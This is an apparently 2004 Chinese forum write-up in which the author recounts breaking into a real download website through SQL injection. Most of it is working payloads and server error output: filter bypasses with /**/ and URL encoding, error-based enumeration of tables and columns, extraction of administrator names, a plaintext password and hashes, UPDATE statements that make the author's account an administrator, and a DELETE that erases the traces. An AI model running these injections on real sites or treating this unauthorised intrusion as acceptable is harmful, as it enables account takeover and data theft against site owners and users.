渗入某下载系统全过程

时间:2004-5-5


BY:CRAZYSOUL
FROM:http://www.80age.net/bbs
欢迎转载,但请保留版权和出处

正在无聊时,一位网友发给我一条地址,说是被过滤了空格和一些特殊符号,看看能不能用SQL注入.

http://soft.xxxx.net/SoftView.Asp?SoftID=850
(地址已经打了格子)


一看就知道是典型的数字型,
先用'加在最后测试一下,
返回出错信息:
Microsoft OLE DB Provider for SQL Server 错误

可以看出是SQL服务器,再用最通用的语句来检测能否注入,即在后面加上:
and 1=1
(注意前面是有空格的)

没有正常返回,提示出错.

醒起网友说被过滤了空格,没问题,换成这样:

/**/and/**/1=1

(把用/**/替换了空格)
成功通过,页面跟没加这一句的效果一样.因为当这句通过softid这个参数传递后,在SQL语句中就变成大概这样:

"select xxx from xxx where softid=850 and 1=1"

后面的就是我加的,对原来的条件没有丝毫影响,所以页面会照常显示.

这句顺利通过,说明能注入的机会很大(但并不是百分百,我遇到限制长度的,制造假象,让你白忙半天,这将在下一篇说).

看看有没有简单的表名:

and (select count(*) from [admin])>0

转换空格为

/**/and/**/(select/**/count(*)/**/from/**/[admin])>0

(下面没有说明的都是经过替换空格的,为了看着舒服,就保留了空格)

成功,证明有表admin

继续看看还有没其他简单的表名:
and (select count(*) from [down])>0

没通过,没有..

回头看看刚才的admin表,看名字是应该记录管理员数据的,当然不能轻易放过

看看有多少条记录:
/**/and/**/(select/**/count(*)/**/from/**/admin)>1
                                                >2
.......

最后
/**/and/**/(select/**/count(*)/**/from/**/admin)=8

晕,竟然有8个管理员

看看有没有简单字段:
and (select count(username) from admin)>0

返回出错信息:

----------------------
Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 

聚合不应出现在 WHERE 子句中,除非该聚合位于 HAVING 子句或选择列表所包含的子查询中,并且要对其进行聚合的列是外部引用。 

/SoftView.Asp,行 14
------------------------ 

证明有username字段

看看第一个管理员的名字有多长:
and (select top 1 len(username) from admin)=11

11....算了,懒得再猜了,把所有表都暴出来吧.

 

先测试一下这句

and (select top 1 len(name) from sysobjects where xtype='u' and status>0)>1

变身,呵呵

/**/and/**/(select/**/top/**/1/**/len(name)/**/from/**/sysobjects/**/where/**/xtype=%27u%27/**/and/**/status>0)>1

(注意,这里不但替换掉了空格,还有'也要替换成%27,前面说了,这个站过滤了一些特殊符号,不替换语句会出错的.)

顺利执行,刚才这句只不过是试探能不能顺利执行的.

下面的才是正戏:

经典的一句:
and 1=(select top 1 name from sysobjects where xtype=%27u%27 and status>0)

这句得到期待的出错信息:

--------------------------
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 

将 nvarchar 值 'a_cat' 转换为数据类型为 int 的列时发生语法错误。 

/SoftView.Asp,行 14 
-------------------
 

看,得到表名 a_cat

测试下是否有ID这个字段:
and 1<(select id from sysobjects where xtype=%27u%27 and name=%27a_cat%27)

一般都会有的,看来太过通用可能有时也是种错,呵呵.

精彩的来了

最强的一句:
and 1=(select top 1 name from sysobjects where xtype=%27u%27 and id>(select id from sysobjects where xtype=%27u%27 and 
name=%27a_cat%27))

这是得到下一个表名,以此类推,每个表名都能找到它的下一个表名.

如此循环,得到所有表名如下:
a_cat
art
allcount
vcount
online
votetopic
voteitem
soft
reply
news
gb
friendlink
flcat
diary
d_remark
d_class
d_cat
cscat
coolsites
admin
SoftDown_online
SoftDown_DayUpdate
SoftDown_Cate
SoftDown_SoftEssay
SoftDown_SoftLink
SoftDown_SubCate
Admin_UserInfo
SoftDown_SoftInfo
dtproperties

统计下共有几个表,猜上瘾了,汗~~:
and (select count(*) from sysobjects where xtype=%27u%27 and status>0)>1
                                                                      >2
                                                                      ...
                                                                      =28
MD,竟然有28个.

表都出来了,暴字段吧,活活


先暴admin的

and 1=(select top 1 col_name(object_id(%27admin%27),1) from admin)
得到下面的

-----------------------------
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 

将 nvarchar 值 'admin_id' 转换为数据类型为 int 的列时发生语法错误。 

/SoftView.Asp,行 14 
-----------
 

得到字段名:admin_id

同样
and 1=(select top 1 col_name(object_id(%27admin%27),2) from admin)
.
.
.
得到所有的:

admin_id
admin_name
admin_password
issuper

直觉告诉还要再看看Admin_UserInfo的(其实俺的直觉还挺好的,呵呵)

and 1=(select top 1 col_name(object_id(%27Admin_UserInfo%27),1) from Admin_UserInfo)

UserID
UserName
PassWord
Email
RegDate
isActive
isAdmin
CatePub
CateAdm
CategoryName

 

先从ADMIN表选一个号试试:

and 1=(select top 1 admin_name from admin)

得到:admin


and 1=(select top 1 username from admin)

用户名:freedom1980


and 1=(select top 1 admin_password from admin)

密码:bishop62404

不能登陆,选另外一个表.(事后发觉该站可能是把两个站的数据表放到同一个数据库里了,所以才有两个管理员的数据表)

看看Admin_UserInfo
 

and 1=(select top 1 username from Admin_UserInfo)
名字:bisheng

and 1=(select top 1 PassWord from Admin_UserInfo)
密码:196a4758191e42f7

MD,可能加了密了

灵机一动,
检查isAdmin是什么值
and 1=(select top 1 isAdmin from Admin_UserInfo)

isAdmin=1

自己注册个新的用户先,俺习惯用"crazy".
猜他的用户登陆页面的地址:
admin_index.asp(通用性太强了...)

注册了,不能登陆,说是被锁定了之类.

检查自己的isActive是什么值:
and 1=(select isActive from Admin_UserInfo where UserName=%27crazy%27)

isActive=0

也检查isAdmin是什么值:
and 1=(select isAdmin from Admin_UserInfo where UserName=%27crazy%27)

isAdmin=0

顺便看一下自己的密码:
and 1=(select PassWord from Admin_UserInfo where UserName=%27crazy%27)
49ba59abbe56e057=123456

果然是加了密.

还等什么提升自己的权力吧
%3Bupdate Admin_UserInfo set isActive=1 where UserName=%27crazy%27%3B--

%3Bupdate Admin_UserInfo set isAdmin=1 where UserName=%27crazy%27%3B--

(注:%3B 是用来替换;号的, "--"这个是为了把后面的语句注释掉,MS SQL就是爽!)

 

OK,进后台看看

管理员同志好像是:
magicring

替换他的密码,嘻嘻,我才没那么缺德呢.

查查看是什么下载系统:

检查是
ActiveDown System XP Advanced Edition Ver1.3
动感下载系统XP高级版 Ver1.3
系统特性:批量生成静态页面,功能强大,用户访问速度极度优化,减轻服务器负担。(真的假的?)
 

搞掂,清理痕迹:
%3Bdelete from Admin_UserInfo where UserName=%27crazy%27%3B--

这次纯粹技术性渗入,没有破坏任何数据.

下次再说说怎样注入一个收费电影站.

相关文章

数组的定义 Dim MyArray MyArray = Array(1‚5‚123‚12‚98...
\'参数: \'code:要检测的代码 \'leixing:html或者ubb \'n...
演示效果: 代码下载: 点击下载
环境:winxp sp2 ,mysql5.0.18,mysql odbc 3.51 driver 表采...
其实说起AJAX的初级应用是非常简单的,通俗的说就是客户端(j...
<% ’判断文件名是否合法 Function isFilename(aFilename...